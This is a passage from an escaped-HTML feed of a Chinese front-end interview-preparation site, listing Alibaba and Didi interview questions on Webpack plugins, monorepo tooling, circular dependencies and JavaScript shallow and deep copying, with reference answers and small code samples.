&lt;li&gt;&lt;strong&gt;理解优化过程中的权衡与监控方法&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案-1"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="11-首屏加载的概念与性能指标"&gt;1.1 首屏加载的概念与性能指标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;首屏加载&lt;/strong&gt;：用户打开页面到看到页面主要内容（首屏内容）完整渲染的时间&lt;/p&gt;</description></item><item><title>阿里巴巴-社招-1年 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-61/round-97/</link><pubDate>Mon, 28 Jul 2025 11:47:07 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-61/round-97/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-61/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-61/round-98/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; Webpack与Vite、事件循环、跨域通信&lt;/p&gt;
&lt;p&gt;本轮共 16 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-80619f2d22f7"&gt;1. 项目中遇到了哪些技术难题，是如何解决的&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;STAR法则&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-8eccdcf5f029"&gt;2. 在解决这些技术难题的过程中，有没有尝试过其他解决方案&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-97e442c116a5"&gt;3. 项目中是如何进行团队协作的&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-ff0b3dbd2346"&gt;4. 在团队协作中，有没有遇到过沟通不畅或者意见不合的情况？是如何解决的&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-78a32c9021bc"&gt;5. webpack 的 plugin 了解吗&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Plugin 是 Webpack 扩展机制，贯穿构建全过程&lt;/li&gt;
&lt;li&gt;核心结构是类 + &lt;code&gt;apply(compiler)&lt;/code&gt; + Tapable 钩子&lt;/li&gt;
&lt;li&gt;常见生命周期钩子：&lt;code&gt;compile&lt;/code&gt;、&lt;code&gt;emit&lt;/code&gt;、&lt;code&gt;done&lt;/code&gt; 等&lt;/li&gt;
&lt;li&gt;可用于注入变量、分析构建、生成资源、操作产物等&lt;/li&gt;
&lt;li&gt;熟悉 compiler 与 compilation 的概念&lt;/li&gt;
&lt;li&gt;可结合实际项目经验举例说明插件使用场景&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;是否理解 Plugin 在 Webpack 中的作用和工作机制&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Plugin 是 Webpack 最核心的扩展机制之一&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;是否掌握编写 Plugin 的基本方法和生命周期&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;了解 &lt;code&gt;compiler&lt;/code&gt;、&lt;code&gt;compilation&lt;/code&gt;、钩子（hooks）等概念&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;能否结合实际项目场景说明使用插件的案例和目的&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>滴滴-社招-5年 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-60/round-96/</link><pubDate>Mon, 28 Jul 2025 06:07:53 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-60/round-96/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-60/round-95/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-60/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 10 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-a53118303d0b"&gt;1. 介绍一下你觉的最有成就感的项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-ca872c95e3b9"&gt;2. 项目为什么选择Lerna+Yarn Workspaces构建Monorepo&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Monorepo 实现多包统一管理，提升代码复用和维护效率&lt;/li&gt;
&lt;li&gt;Lerna 管理版本发布、变更检测、脚本执行&lt;/li&gt;
&lt;li&gt;Yarn Workspaces 优化依赖安装，支持本地包软链接&lt;/li&gt;
&lt;li&gt;两者结合，实现高效、便捷的 Monorepo 构建和维护&lt;/li&gt;
&lt;li&gt;适合大型复杂项目及多包同步开发场景&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;理解 Monorepo 的概念及优势&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;多个相关包/模块统一管理、版本控制、发布流程等&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;掌握 Lerna 与 Yarn Workspaces 的功能和配合方式&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;包管理、依赖安装优化、版本发布、脚本执行等&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;能够分析技术选型的利弊和实际应用场景&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;团队协作、构建效率、依赖一致性等&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;展示架构设计思路和实践经验&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="11-原理说明"&gt;1.1 原理说明&lt;/h3&gt;
&lt;h4 id="monorepo-概念"&gt;Monorepo 概念&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;将多个相关的项目包（packages）放在同一代码仓库中统一管理&lt;/li&gt;
&lt;li&gt;便于代码复用、版本统一、跨包协调&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="lerna-功能"&gt;Lerna 功能&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;管理 Monorepo 中多个包的版本发布和依赖关系&lt;/li&gt;
&lt;li&gt;支持基于 Git 的变更检测，自动决定哪些包需要发布&lt;/li&gt;
&lt;li&gt;脚本集中执行，提升跨包开发效率&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="yarn-workspaces-功能"&gt;Yarn Workspaces 功能&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;优化依赖安装，自动将多个包的依赖扁平化安装，避免重复依赖&lt;/li&gt;
&lt;li&gt;支持包之间的本地软链接，方便跨包开发调试&lt;/li&gt;
&lt;li&gt;减少 &lt;code&gt;node_modules&lt;/code&gt; 大小，提升安装速度&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="lerna--yarn-workspaces-配合优势"&gt;Lerna + Yarn Workspaces 配合优势&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Lerna 专注版本和发布管理&lt;/li&gt;
&lt;li&gt;Yarn Workspaces 专注依赖管理和安装优化&lt;/li&gt;
&lt;li&gt;组合使用，实现 Monorepo 的高效管理和性能提升&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="12-核心用法--选择理由"&gt;1.2 核心用法 + 选择理由&lt;/h3&gt;
&lt;h4 id="选择-lerna--yarn-workspaces-的具体理由"&gt;选择 Lerna + Yarn Workspaces 的具体理由&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;依赖管理高效&lt;/strong&gt;：Yarn Workspaces 扁平化依赖树，减少冗余，提高安装速度，节省磁盘空间&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;版本发布便捷&lt;/strong&gt;：Lerna 支持自动检测改动包，实现增量发布，减少发布成本&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跨包开发友好&lt;/strong&gt;：Workspaces 实现包间软链接，调试时无需发布即可实时联动&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;统一管理多个包&lt;/strong&gt;：代码结构清晰，版本一致性好，避免包版本冲突&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社区成熟稳定&lt;/strong&gt;：Lerna 和 Yarn 是成熟开源项目，生态完善，文档丰富&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="使用场景举例"&gt;使用场景举例&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;大型前端项目拆分为多个业务组件包&lt;/li&gt;
&lt;li&gt;同时管理多个相关 npm 包，需同步发布和升级&lt;/li&gt;
&lt;li&gt;需要提升 CI/CD 流程效率和开发体验&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="13-常见误区或面试陷阱"&gt;1.3 常见误区或面试陷阱&lt;/h3&gt;
&lt;h4 id="-误区一认为-lerna-可以独立完成所有-monorepo-管理工作"&gt;❌ 误区一：认为 Lerna 可以独立完成所有 Monorepo 管理工作&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;实际 Lerna 本身不管理依赖安装，需配合 Workspaces 或 npm/yarn 其他特性&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-误区二忽视依赖扁平化带来的版本冲突风险"&gt;❌ 误区二：忽视依赖扁平化带来的版本冲突风险&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;需要合理规划依赖版本，避免冲突和不兼容&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-误区三monorepo-不适合所有项目盲目迁移可能增加复杂度"&gt;❌ 误区三：Monorepo 不适合所有项目，盲目迁移可能增加复杂度&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;适用项目规模和团队协作需求需评估清楚&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-f330b14e4e91"&gt;3. 如何解决子包间的循环依赖问题&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;循环依赖会导致加载异常和维护困难&lt;/li&gt;
&lt;li&gt;抽取公共模块拆分依赖，消除环路&lt;/li&gt;
&lt;li&gt;使用接口抽象和依赖注入解耦&lt;/li&gt;
&lt;li&gt;动态导入延迟加载，规避同步循环&lt;/li&gt;
&lt;li&gt;设计单向依赖，保持依赖关系 DAG&lt;/li&gt;
&lt;li&gt;配合工具检测和团队规范防范&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点-1"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;理解循环依赖的概念及危害&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>滴滴-社招-5年 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-60/round-95/</link><pubDate>Mon, 28 Jul 2025 06:01:19 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-60/round-95/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-60/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-60/round-96/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 作用域链与闭包、全方位解读this、函数柯里化、原型链与继承、DOM操作、深拷贝/浅拷贝、call、apply和bind&lt;/p&gt;
&lt;p&gt;本轮共 24 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-a5330a58-5be0-4f4f-8394-43392311ddaa"&gt;1. 深拷贝浅拷贝有什么区别？怎么实现深拷贝？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/a5330a58-5be0-4f4f-8394-43392311ddaa"&gt;深拷贝浅拷贝有什么区别？怎么实现深拷贝？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;JS数据类型分别基本数据类型和引用数据类型，基本数据类型保存的是值，引用类型保存的是引用地址(this指针)。&lt;/p&gt;
&lt;p&gt;浅拷贝共用一个引用地址，深拷贝会创建新的内存地址。&lt;/p&gt;
&lt;h4 id="浅拷贝方法"&gt;浅拷贝方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;直接对象复制&lt;/li&gt;
&lt;li&gt;Object.assign&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="深拷贝"&gt;深拷贝&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;JSON.stringify转为字符串再JSON.parse&lt;/li&gt;
&lt;li&gt;深度递归遍历&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一数据类型存储"&gt;一、数据类型存储&lt;/h2&gt;
&lt;p&gt;前面文章我们讲到，&lt;code&gt;JavaScript&lt;/code&gt;中存在两大数据类型：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基本类型&lt;/li&gt;
&lt;li&gt;引用类型&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基本类型数据保存在在栈内存中&lt;/p&gt;
&lt;p&gt;引用类型数据保存在堆内存中，引用数据类型的变量是一个指向堆内存中实际对象的引用，存在栈中&lt;/p&gt;
&lt;h2 id="二浅拷贝"&gt;二、浅拷贝&lt;/h2&gt;
&lt;p&gt;浅拷贝，指的是创建新的数据，这个数据有着原始数据属性值的一份精确拷贝&lt;/p&gt;
&lt;p&gt;如果属性是基本类型，拷贝的就是基本类型的值。如果属性是引用类型，拷贝的就是内存地址&lt;/p&gt;
&lt;p&gt;即浅拷贝是拷贝一层，深层次的引用类型则共享内存地址&lt;/p&gt;
&lt;p&gt;下面简单实现一个浅拷贝&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shallowClone&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newObj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;prop&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;hasOwnProperty&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;prop&lt;/span&gt;)){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;newObj&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;prop&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;prop&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newObj&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在&lt;code&gt;JavaScript&lt;/code&gt;中，存在浅拷贝的现象有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Object.assign&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Array.prototype.slice()&lt;/code&gt;, &lt;code&gt;Array.prototype.concat()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用拓展运算符实现的复制&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="objectassign"&gt;Object.assign&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;age&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;nature&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;smart&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;good&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;names&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name1&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;fx&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name2&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;xka&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;love&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;fx is a great girl&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newObj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Object.&lt;span style="color:#a6e22e"&gt;assign&lt;/span&gt;({}, &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="slice"&gt;slice()&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;One&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Two&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Three&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;slice&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;love&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;Two&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;love&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="concat"&gt;concat()&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;One&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Two&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Three&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;concat&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;love&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;Two&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;love&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="拓展运算符"&gt;拓展运算符&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;One&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Two&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Three&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [...&lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;]
